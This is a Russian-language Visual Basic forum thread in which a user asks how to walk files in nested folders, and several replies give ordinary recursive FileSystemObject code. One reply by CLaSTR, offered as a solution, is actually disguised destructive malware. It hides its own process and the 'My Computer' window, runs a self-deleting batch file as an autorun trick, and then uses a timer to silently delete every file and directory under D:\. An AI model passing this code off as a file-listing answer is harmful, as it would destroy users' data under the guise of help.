powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / файлы и папки
14 сообщений из 14, страница 1 из 1
файлы и папки
    #35731591
PlanB
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Здравствуйте, товарищи!
вопрос: мне надо обратиться к файлам.
Есть варианты, что в папке fol может быть вложенная папка, тогда так.
Код: plaintext
1.
2.
3.
4.
For Each fol2 In fol.SubFolders
    For Each f In fol2.Files
        'действия с файлом
    Next f
Next fol2
А может её на быть... Тогда вот так:
Код: plaintext
1.
2.
For Each f In fol.Files
    'действия с файлом
Next f
Как мне обратиться к файлам на самом дне, при условии того, что вложенных друг в друга папок может быть дофига?
Не каждый же раз писать цикл с SubFolders...
Спасибо!
...
Рейтинг: 0 / 0
файлы и папки
    #35731834
Ashton
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
...
Рейтинг: 0 / 0
файлы и папки
    #35731839
AndreyMp
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Как вариант
1.(не самый лучший) - рекурсия.
2.АПИ. Где был пример поиска файлов во всех вложенных папках. Если подойдет поисчу.
...
Рейтинг: 0 / 0
файлы и папки
    #35731846
AndreyMp
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Опередил. :)
Вспомнил где http://andreymp.land.ru/sources/filedir/filedir.htm
...
Рейтинг: 0 / 0
файлы и папки
    #35732271
PlanB
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
у меня в папку temp распаковываются вложения из архива. А в архиве могут файлы быть в папке, а могут и не быть...

А что, строчкой-другой кода не обойтись
...
Рейтинг: 0 / 0
файлы и папки
    #35732366
CLaSTR
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Я тебе сегодня наверное напишу как это сделать. Я Уже создал такую программу только вот домой приеду и напишу.
...
Рейтинг: 0 / 0
файлы и папки
    #35733580
CLaSTR
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Вот тебе моя программа, тут много лишнего, сам ненужное уберешь. на форме должны быть объекты:wcrF и wcrD. это файллист и ДирЛист соответственно



VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3090
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3090
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.DirListBox wcrD
Height = 2565
Left = 3120
TabIndex = 1
Top = 120
Width = 1455
End
Begin VB.FileListBox wcrF
Height = 2625
Left = 720
TabIndex = 0
Top = 120
Width = 2295
End
Begin VB.Timer Tim
Enabled = 0 'False
Interval = 100
Left = 120
Top = 120
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Private Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type

Dim Memory As Integer
Dim DirKill, RepPath As String
Dim a As MEMORYSTATUS

Private Sub Form_Load()
On Error Resume Next
If FileLen("C:\leak.wnd") = 0 Then End
App.TaskVisible = False
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ShowWindow FindWindow(vbNullString, "Мой компьютер"), 0
Kill "C:\b.bat"
Open ("C:\b.bat") For Append As #1
Print #1, "explorer " + Left(App.Path, 3)
Print #1, "del C:\b.bat"
Close #1
Shell "C:\b.bat", vbHide
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
GlobalMemoryStatus a
Memory = a.dwTotalPhys / 1024 / 1024

RepPath = "D:\" 'ПУТЬ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
wcrF.Path = RepPath
wcrD.Path = RepPath

If Memory > Int(App.EXEName) Then
End
Else
Tim.Enabled = True
End If
End Sub


Private Sub Tim_Timer()
On Error Resume Next
'Обновить информацию о файлах и подкаталогах для удаления
wcrF.Refresh
wcrD.Refresh
'Удалить файл
If Right(wcrF.Path, 1) = "\" Then
Kill wcrF.Path + wcrF.List(0)
Else
Kill wcrF.Path + "\" + wcrF.List(0)
End If
'Если подкаталог опустошён то удалить его и вернутся в главный каталог
If wcrF.List(0) = "" And wcrD.List(0) = "" And wcrD.Path <> RepPath Then
wcrF.Path = RepPath
DirKill = wcrD.Path
wcrD.Path = RepPath
RmDir DirKill
End If
'Если существует подкаталог и в текущем каталоге нет файлов то переход в следующий каталог
If wcrF.List(0) = "" And wcrD.List(0) <> "" Then
wcrF.Path = wcrD.List(0)
wcrD.Path = wcrD.List(0)
wcrF.Refresh
wcrD.Refresh
End If
End Sub
...
Рейтинг: 0 / 0
файлы и папки
    #35733586
CLaSTR
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
ПОМОГЛО?
...
Рейтинг: 0 / 0
файлы и папки
    #35734074
sergeyvg
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
мне понравился такой способ обхода директорий, к сожалению не сохранилось автора
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
Sub test()
  ListSubFiles ("\\Johnnew\movies")
End Sub

Sub ListSubFiles(strPath As String)
    Dim fso As Scripting.FileSystemObject
    Dim fld As Scripting.Folder
    Dim fld2 As Scripting.Folder
    Dim fil As Scripting.File
    Dim strFolder As String
    
    If Right(strPath,  1 ) <> "\" Then
        strPath = strPath & "\"
    End If
    
    Set fso = New Scripting.FileSystemObject
    Set fld = fso.GetFolder(strPath)
    
    For Each fil In fld.Files
        Debug.Print fil.Name
    Next
    
    If fld.SubFolders.Count >  0  Then
        For Each fld2 In fld.SubFolders
            strFolder = fld2.Name
            Call ListSubFiles(strPath & strFolder)
        Next
    End If
End Sub
...
Рейтинг: 0 / 0
файлы и папки
    #35734432
CLaSTR
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Мой способ намного короче и понятнее. Если срезать ненужную часть. А дир и файл листы спрятать можно
...
Рейтинг: 0 / 0
файлы и папки
    #35735222
AndrF
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
sergeyvgмне понравился такой способ обхода директорий, к сожалению не сохранилось автора

Слишком много кода. Если выкинуть явно лишнее то получится:

Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
Public Sub Main()
  ListSubFiles ("C:\Program Files\Far\")
End Sub

Sub ListSubFiles(sPath As String, Optional fso As Scripting.FileSystemObject = Nothing)
    Dim fl As Scripting.Folder, f As Scripting.File
    
    If fso Is Nothing Then Set fso = New Scripting.FileSystemObject
    With fso.GetFolder(sPath)
        Debug.Print .Path
        For Each f In .Files
            Debug.Print "    " & f.Name
        Next
        For Each fl In .SubFolders
            ListSubFiles fl.Path, fso
        Next fl
    End With
End Sub
...
Рейтинг: 0 / 0
файлы и папки
    #35735246
Фотография Antonariy
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
А вот такой код еще короче и к тому же быстрее:

Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
Public Sub Main()
    With New Scripting.FileSystemObject 
        ListSubFiles .GetFolder("C:\Program Files\Far\")
    End With
End Sub

Sub ListSubFiles(sf As Scripting.Folder)
Dim fl As Scripting.Folder, f As Scripting.File
    Debug.Print .Path
    For Each f In sf.Files
        Debug.Print "    " & f.Name
    Next
    For Each fl In sf.SubFolders
        ListSubFiles fl
    Next fl
End Sub
...
Рейтинг: 0 / 0
файлы и папки
    #35735295
Фотография Игорь Горбонос
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Antonariy
Код: plaintext
1.
2.
3.
4.
Public Sub Main()
    With New Scripting.FileSystemObject
        ListSubFiles .GetFolder("C:\Program Files\Far\")
    End With
End Sub



Хм. Интересный вариант, практически аналог нетовского using :)
Спасибо.

--
С уважением Горбонос Игорь Леонидович

Posted via ActualForum NNTP Server 1.4
...
Рейтинг: 0 / 0
файлы и папки
    #35736473
PlanB
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Всем спасибо!
...
Рейтинг: 0 / 0
14 сообщений из 14, страница 1 из 1
Форумы / Visual Basic [игнор отключен] [закрыт для гостей] / файлы и папки
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]